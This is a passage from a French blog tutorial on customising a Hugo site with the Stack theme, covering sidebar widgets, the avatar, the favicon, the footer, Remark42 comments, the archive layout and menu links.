style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; type &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;search&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; type &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;archives&amp;#34;&lt;/span&gt;, params &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; limit &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; type &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;categories&amp;#34;&lt;/span&gt;, params &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; limit &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; type &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;tag-cloud&amp;#34;&lt;/span&gt;, params &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; limit &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    page     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;NOTE : on peut activer ces widgets pour la homepage et/ou pour les pages&amp;hellip; Pour l&amp;rsquo;instant, je ne les déclare que pour la homepage, ce qui nous affiche dans la partie droite de la page d&amp;rsquo;accueil :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;122px&#34; data-flex-grow=&#34;51&#34; height=&#34;490&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/widgets.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je ne pense pas garder la ligne &amp;ldquo;tag-cloud&amp;rdquo;, puisque sur mon blog, je n&amp;rsquo;utilise que les catégories. Mais la possibilité est là, les &amp;ldquo;mots clés&amp;rdquo; se définissant dans le front matter de chaque article (tout comme les catégories) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title: Image Gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;description: Showcasing the built-in image gallery support&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: 2026-01-26&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slug: image-gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;image: helena-hertz-wWZzXlDpMog-unsplash.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;categories:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Documentation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tags:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Photoswipe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;toc: false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Vous remarquez au passage le paramètre &lt;strong&gt;toc&lt;/strong&gt; qui permet d&amp;rsquo;afficher facilement une table des matières pour un article donné (écrit en markdown je le rappelle). Cela montre la puissance d&amp;rsquo;Hugo et la facilité d&amp;rsquo;utilisation, comparé à Wordpress.&lt;/p&gt;&#xA;&lt;h5 id=&#34;avatar&#34;&gt;Avatar&#xA;&lt;/h5&gt;&lt;p&gt;Puis on va ajouter une icône (avatar) dans le dossier &lt;code&gt;Hugo/pled/assets/img&lt;/code&gt; et on modifie la section sidebar comme suit :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;sidebar&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    compact &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    emoji    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;🍥&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subtitle &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mon prochain blog fait avec Hugo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    avatar  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;img/avatar.png&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voilà le résultat après avoir relancé Hugo :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;214px&#34; data-flex-grow=&#34;89&#34; height=&#34;303&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-16-55-48.png&#34; width=&#34;271&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pour la petite emoji 🍥, je l&amp;rsquo;ai récupérée sur le site du thème, afin d&amp;rsquo;en avoir la dernière version. Il s&amp;rsquo;agit de l&amp;rsquo;emoji &amp;ldquo;Fish Cake with Swirl&amp;rdquo;, qui me fait penser au logo Debian ! Plus d&amp;rsquo;infos sur &lt;a class=&#34;link&#34; href=&#34;https://www.cyberdefinitions.com/emojis/Fish-Cake-with-Swirl.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h5 id=&#34;favicon&#34;&gt;Favicon&#xA;&lt;/h5&gt;&lt;p&gt;Concernant la favicon du site, qui s&amp;rsquo;affiche dans l&amp;rsquo;onglet du navigateur, il suffit d&amp;rsquo;ajouter cette ligne dans le fichier, après avoir copié le fichier &lt;code&gt;favicon.png&lt;/code&gt;, toujours dans le dossier &lt;code&gt;Hugo/pled/assets/img&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;favicon &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;img/favicon.png&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id=&#34;copyright&#34;&gt;Copyright&#xA;&lt;/h5&gt;&lt;p&gt;On peut personnaliser les informations de Copyright :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;footer&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    since      &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2005&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    customText &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Blog ouvert depuis le 25 décembre 2005&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;445px&#34; data-flex-grow=&#34;185&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-17-36-26.png&#34; width=&#34;271&#34;&gt;&lt;/p&gt;&#xA;&lt;h5 id=&#34;commentaires&#34;&gt;Commentaires&#xA;&lt;/h5&gt;&lt;p&gt;Dans ce fichier, on va aussi trouver tous les systèmes de commentaires supportés par le thème. Une fois votre système de commentaires choisi (Hugo n&amp;rsquo;intègre rien à ce sujet, ce n&amp;rsquo;est pas de son ressort), on peut supprimer tous les autres devenus inutiles.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai choisi Remark42. Je ne laisse donc que ceci :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;comments&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    enabled  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    provider &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;remark42&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;comments.remark42&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        host                    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://remark42.monserveur.fr&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        site                    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;remark&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        locale                  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fr&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        max_shown_comments      &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;15&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        show_email_subscription &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id=&#34;divers&#34;&gt;Divers&#xA;&lt;/h5&gt;&lt;p&gt;Il y a d&amp;rsquo;autres paramètres dans ce fichier, comme les diagrammes Mermaid, qu&amp;rsquo;il convient de laisser au cas où le besoin s&amp;rsquo;en fait sentir un jour.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;273px&#34; data-flex-grow=&#34;113&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-17-53-02.png&#34; width=&#34;541&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Les &amp;ldquo;AlertIcon&amp;rdquo; définies dans ce fichier seront aussi pratiques pour afficher des messages de ce style dans un article :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-17-51-11.png&#34; width=&#34;475&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà pour l&amp;rsquo;essentiel de ce que j&amp;rsquo;ai vu dans ce fichier &lt;code&gt;params.toml&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;page-archive&#34;&gt;Page Archive&#xA;&lt;/h3&gt;&lt;p&gt;La page Archive est plutôt intéressante. Elle affiche en haut la liste des catégories avec une image (ou pas), ce qui permet de filter selon la catégorie souhaitée :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;622px&#34; data-flex-grow=&#34;259&#34; height=&#34;232&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-09-59-28.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis elle affiche les articles par date, en ligne, avec une icône correspondant à l&amp;rsquo;image en tête de l&amp;rsquo;article (s&amp;rsquo;il y en une de définie dans le front matter). Mais elle est affichée à droite dans la page, après le bloc contenant le titre :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;381&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-17-56-56.png&#34; width=&#34;541&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je préfère avoir l&amp;rsquo;image affichée à gauche, comme je l&amp;rsquo;avais pour mon blog WP.&lt;/p&gt;&#xA;&lt;p&gt;On procède toujours de la même façon, en copiant le fichier que l&amp;rsquo;on veut personnaliser du thème vers la racine du site. Ici, je copie &lt;code&gt;Hugo/pled/themes/stack/layouts/_partials/article-list/compact.html&lt;/code&gt; dans &lt;code&gt;Hugo/pled/layouts/_partials/article-list/compact.html&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Puis je le modifie en déplaçant le bloc suivant AVANT le bloc &lt;code&gt;&amp;lt;div class=&amp;quot;articles-details&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-clike&#34; data-lang=&#34;clike&#34;&gt;{{- $image := partial &amp;#34;helper/image&amp;#34; (dict &amp;#34;Image&amp;#34; .Params.image &amp;#34;Resources&amp;#34; .Resources &amp;#34;Context&amp;#34; .) -}}&#xA;        {{ if $image }}&#xA;&#xA;            {{ partial &amp;#34;helper/thumbnail-image&amp;#34; (dict&#xA;                &amp;#34;Resource&amp;#34; $image.Resource&#xA;                &amp;#34;Width&amp;#34; 60&#xA;                &amp;#34;Height&amp;#34; 60&#xA;                &amp;#34;Resize&amp;#34; .Site.Params.ImageProcessing.Thumbnail.Enabled&#xA;                &amp;#34;Attributes&amp;#34; (dict&#xA;                    &amp;#34;src&amp;#34; $image.Permalink&#xA;                    &amp;#34;alt&amp;#34; .Title&#xA;                    &amp;#34;loading&amp;#34; &amp;#34;lazy&amp;#34;&#xA;                    &amp;#34;width&amp;#34; $image.Width&#xA;                    &amp;#34;height&amp;#34; $image.Height&#xA;                )&#xA;            ) }}&#xA;&#xA;        {{ end }}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et le tour est joué :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;381&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-15-18-12-27.png&#34; width=&#34;541&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;lien-vers-mon-album-zenphoto&#34;&gt;Lien vers mon album Zenphoto&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai aussi besoin d&amp;rsquo;ajouter un lien direct vers mon album-photo Zenphoto, qui tourne sur un sous-domaine.&lt;/p&gt;&#xA;&lt;p&gt;La première chose à faire, c&amp;rsquo;est de créer une icône Zenphoto qui n&amp;rsquo;existe pas par défaut. Cette fois je suis allé sur le site &lt;a class=&#34;link&#34; href=&#34;https://svgicons.com/icon/224971/zenphoto&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;svgicons&lt;/a&gt; pour la trouver, puis j&amp;rsquo;ai procédé de la même manière que précédemment pour harmoniser son apparence, et j&amp;rsquo;ai copié le fichier &lt;code&gt;.svg&lt;/code&gt; dans le dossier &lt;code&gt;icons&lt;/code&gt; du theme.&lt;/p&gt;&#xA;&lt;p&gt;On crée ensuite l&amp;rsquo;entrée dans le menu de gauche en l&amp;rsquo;ajoutant dans le fichier &lt;code&gt;hugo.toml&lt;/code&gt; : c&amp;rsquo;est &lt;a class=&#34;link&#34; href=&#34;https://stack.cai.im/config/menu&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la méthode 2 de la doc&lt;/a&gt; pour créer une entrée dans le menu. Puisque l&amp;rsquo;on sort du blog (newTab: false), la limitation de ne pas avoir le lien highlighté n&amp;rsquo;est pas gênant.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;menu&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt;menu.main&lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Album Photo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://zenphoto.pled.fr&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    weight &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    identifier &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zenphoto&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;menu.main.params&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        icon &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;brand-zenphoto&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        newTab &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;et voilà mon lien vers Zenphoto qui apparaît dans le menu de gauche :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;108px&#34; data-flex-grow=&#34;45&#34; height=&#34;540&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/zenphoto.png&#34; width=&#34;243&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;liens-voyage&#34;&gt;Liens Voyage&#xA;&lt;/h3&gt;&lt;p&gt;Je veux aussi ajouter un lien vers les articles de la catégorie &lt;strong&gt;Voyage&lt;/strong&gt; pour les mettre en évidence. Il s&amp;rsquo;agit d&amp;rsquo;afficher tous les articles de cette catégorie en cliquant sur cette entrée. J&amp;rsquo;ai auparavant créé un article de cette catégorie pour mes tests, avec l&amp;rsquo;aide d&amp;rsquo;un outil de migration WP vers Hugo.&lt;/p&gt;&#xA;&lt;p&gt;Là aussi, il va me falloir commencer par trouver une icône, et la copier dans le dossier du thème. On procède toujours de la même façon à ce sujet.&lt;/p&gt;&#xA;&lt;p&gt;Cette fois, je vais utiliser la méthode 1 de la &lt;a class=&#34;link&#34; href=&#34;https://stack.cai.im/config/menu&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;documentation&lt;/a&gt;. Il me suffit de créer un dossier Voyage dans &lt;code&gt;Hugo/pled/content/pages&lt;/code&gt;, et d&amp;rsquo;y créer un fichier &lt;code&gt; index.md&lt;/code&gt; (inspiré de celui du dossier &lt;code&gt;archives&lt;/code&gt;) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;title: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Voyage&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: 2026-05-15&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;layout: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;voyage&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slug: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;voyage&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;menu:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        weight: 